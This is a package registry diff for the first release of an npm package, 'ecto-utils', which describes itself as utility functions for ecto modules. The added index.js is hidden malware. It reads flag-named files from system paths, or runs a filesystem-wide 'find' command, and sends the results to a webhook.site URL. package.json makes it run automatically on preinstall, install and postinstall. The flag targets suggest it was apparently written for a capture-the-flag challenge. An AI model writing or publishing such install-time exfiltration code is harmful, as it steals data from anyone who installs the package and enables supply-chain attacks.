ecto-utils 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +31 -0
- package/package.json +14 -0
package/index.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
|
|
4
|
+
console.log('[*] ecto-utils executing...');
|
|
5
|
+
|
|
6
|
+
try {
|
|
7
|
+
const paths = ['/flag.txt', '/app/flag.txt', './flag.txt', '../flag.txt', '/flag', '/root/flag.txt', '/home/flag.txt'];
|
|
8
|
+
let found = false;
|
|
9
|
+
|
|
10
|
+
for (const path of paths) {
|
|
11
|
+
try {
|
|
12
|
+
const flag = fs.readFileSync(path, 'utf8');
|
|
13
|
+
const url = 'http://webhook.site/479bc3d6-48a7-46c1-80d2-229d90ee9b98?pkg=ecto-utils&path=' + encodeURIComponent(path) + '&flag=' + encodeURIComponent(flag);
|
|
14
|
+
http.get(url, () => console.log('[+] Flag sent')).on('error', () => {});
|
|
15
|
+
found = true;
|
|
16
|
+
break;
|
|
17
|
+
} catch (e) {}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
if (!found) {
|
|
21
|
+
const cp = require('child_process');
|
|
22
|
+
try {
|
|
23
|
+
const result = cp.execSync('find / -name "flag*" -o -name "FLAG*" 2>/dev/null | head -10 || ls -la / 2>&1', {timeout: 5000}).toString();
|
|
24
|
+
http.get('http://webhook.site/479bc3d6-48a7-46c1-80d2-229d90ee9b98?pkg=ecto-utils&search=' + encodeURIComponent(result)).on('error', () => {});
|
|
25
|
+
} catch (e) {}
|
|
26
|
+
}
|
|
27
|
+
} catch (e) {
|
|
28
|
+
http.get('http://webhook.site/479bc3d6-48a7-46c1-80d2-229d90ee9b98?pkg=ecto-utils&error=' + encodeURIComponent(e.message)).on('error', () => {});
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
module.exports = {};
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ecto-utils",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Utility functions for ecto modules",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"preinstall": "node index.js",
|
|
9
|
+
"install": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"keywords": ["ecto", "spectral", "utils"],
|
|
12
|
+
"author": "",
|
|
13
|
+
"license": "MIT"
|
|
14
|
+
}
|